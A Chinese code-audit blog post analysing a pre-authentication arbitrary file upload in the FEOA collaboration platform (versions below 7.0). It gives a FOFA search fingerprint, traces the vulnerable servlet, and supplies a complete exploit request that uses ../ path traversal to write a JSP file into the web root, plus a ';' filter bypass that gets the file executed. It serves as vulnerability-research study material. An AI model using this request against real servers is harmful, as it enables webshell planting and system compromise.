FEOA代码审计-前台任意文件上传

渗透技巧 8个月前 admin
153 0 0

前言

本篇文章主要内容为,从代码层面学习分析FEOA前台文件上传漏洞。
FOFA指纹:app=”FE-协作平台”
影响版本:<7.0


漏洞验证

访问路由/servlet/uploadAttachmentServlet,出现如下响应即默认存在漏洞
FEOA代码审计-前台任意文件上传


代码分析

漏洞初步判断,在UploadAttachmentServlet.class文件中
这里有五处调用了FileItem对象的write()方法,该方法作用是将文件保存到服务器上,这里可能产生上传问题。
其中后四处文件名或后缀名不可控,所以这里选择第一处向上跟下看看fileName是否可控。
item.write(new File(path, fileName));
FEOA代码审计-前台任意文件上传


首先请求该路由,doGet()方法中,当传递的type参数值不为mail时,进入else,所以这里不传参数就行
FEOA代码审计-前台任意文件上传


进入doUpload()方法
这里使用 ServletFileUpload.isMultipartContent(request) 方法判断当前数据包是否为上传数据包
接着通过 upload.parseRequest(request)  方法解析请求包体内容为FileItem对象集合,并转换为迭代器方便循环取出数据
FEOA代码审计-前台任意文件上传


ServletFileUpload.class文件
其中ServletFileUpload.isMultipartContent(request)方法判断为上传数据包的条件
1.POST请求
2.请求头中需要有 Content-Type: multipart/ 开头的字段
FEOA代码审计-前台任意文件上传


接着往下看,这段代码的作用是循环判断请求体中是否传入了json参数,如果传入了便将值赋值给 jsonString
FEOA代码审计-前台任意文件上传


到这里需要注意
首先判断jsonString是否有值,然后使用 JSONObject.fromObject(jsonString) 方法将 jsonString 解析为第一个JSONObject对象
从该对象中取出 iq 参数的值,再次解析为第二个JSONObject对象
最后从第二个JSONObject对象中 取出 query 参数的值,解析为第三个JSONObject对象
所以我们传入的参数需要满足如下格式,否则在解析json数据时就会报错,不会继续向下执行:
------WebKitFormBoundaryKNt0t4vBe8cX9rZk
Content-Disposition: form-data; name="json"

{"iq":{"query":{"xxx":"xxx"}}}
FEOA代码审计-前台任意文件上传


当传入的UpdateType参数值为mail时,获取当前日期转换为目录格式,与配置文件中的固定路径拼接在一起成为上传目录
FEOA代码审计-前台任意文件上传


SystemParamUtil.getEmailPath() 方法从配置文件中读取值 C:/FE/Media/UFMAIL
配置信息在WEB-INF/classes/spring/system-bean.xml文件中
FEOA代码审计-前台任意文件上传


这里我们只需要将上传的数据放在最前面,即可一遍过两个内部do while循环,减少无关代码执行防止报错。
进行下一步写入文件操作,其中在 fileName = item.getName() 这里读取了文件名。
FEOA代码审计-前台任意文件上传


当前参数Content-Type值如果不为 audio/wav ,且文件名不是 .wav 后缀,进入if
UpdateType参数值为mail时(UpdateType参数已在前面解析json数据时从数据包中获取到),进入文件写入操作。
到 item.write(new File(path, fileName)) 这里,path不可控为固定路径与当前日期拼接而成,但fileName可控,且未做校验。
这里需要利用../进行目录穿越到web目录下
如:
原目录
C:/FE/Media/UFMAIL/2022/08/29/

FEOA网站根目录
C:/FE/jboss/web/fe.war/

需要穿越到目录
C:/FE/Media/UFMAIL/2022/08/29/../../../../../jboss/web/fe.war/shell.jsp

C:/FE/jboss/web/fe.war/shell.jsp
FEOA代码审计-前台任意文件上传



漏洞利用

最终构造漏洞利用数据包如下:
POST /servlet/uploadAttachmentServlet HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryKNt0t4vBe8cX9rZk
Content-Length: 325

------WebKitFormBoundaryKNt0t4vBe8cX9rZk
Content-Disposition: form-data; name="uploadFile"; filename="../../../../../jboss/web/fe.war/hello321.jsp"
Content-Type: text/plain

<% out.println("test321");%>
------WebKitFormBoundaryKNt0t4vBe8cX9rZk
Content-Disposition: form-data; name="json"

{"iq":{"query":{"UpdateType":"mail"}}}
------WebKitFormBoundaryKNt0t4vBe8cX9rZk--

上传成功,响应如下图:
FEOA代码审计-前台任意文件上传


需要注意jsp文件是不能直接被解析的,所有的jsp都会经过controllerFilter,可以进去看下其放行路由的规则
FEOA代码审计-前台任意文件上传


第二种方式比较通用,只需要利用解析差异在文件名后加个 ; 即可绕过,成功解析jsp文件
FEOA代码审计-前台任意文件上传

上传文件地址
http://127.0.0.1/hello321.jsp;

修复方式:升级最新版本


总结

1、之前学习Java代码审计时,写的一篇笔记,回头再看这个前台上传漏洞时,并没有很复杂。但当时却也花费了挺多时间,原因是不熟悉Java这种较原始的上传文件的代码,导致参数传递的过程看的云里雾里。审计时还跟了type=mail时执行的代码,也就是这里
mail.doUpload(requestresponse);
该doUpload()方法在MailAttachmentUtil.class文件中,前后看了下似乎也并没有做后缀过滤,但后面发现做了登录验证。
2、文章不保证内容完全准确, 文中如有错误还请多多指出, 共同进步。
3、参考文章:https://www.runoob.com/servlet/servlet-file-uploading.html

原文始发于微信公众号(XINYU2428):FEOA代码审计-前台任意文件上传

版权声明:admin 发表于 2024年3月18日 下午9:29。
转载请注明:FEOA代码审计-前台任意文件上传 | CTF导航

相关文章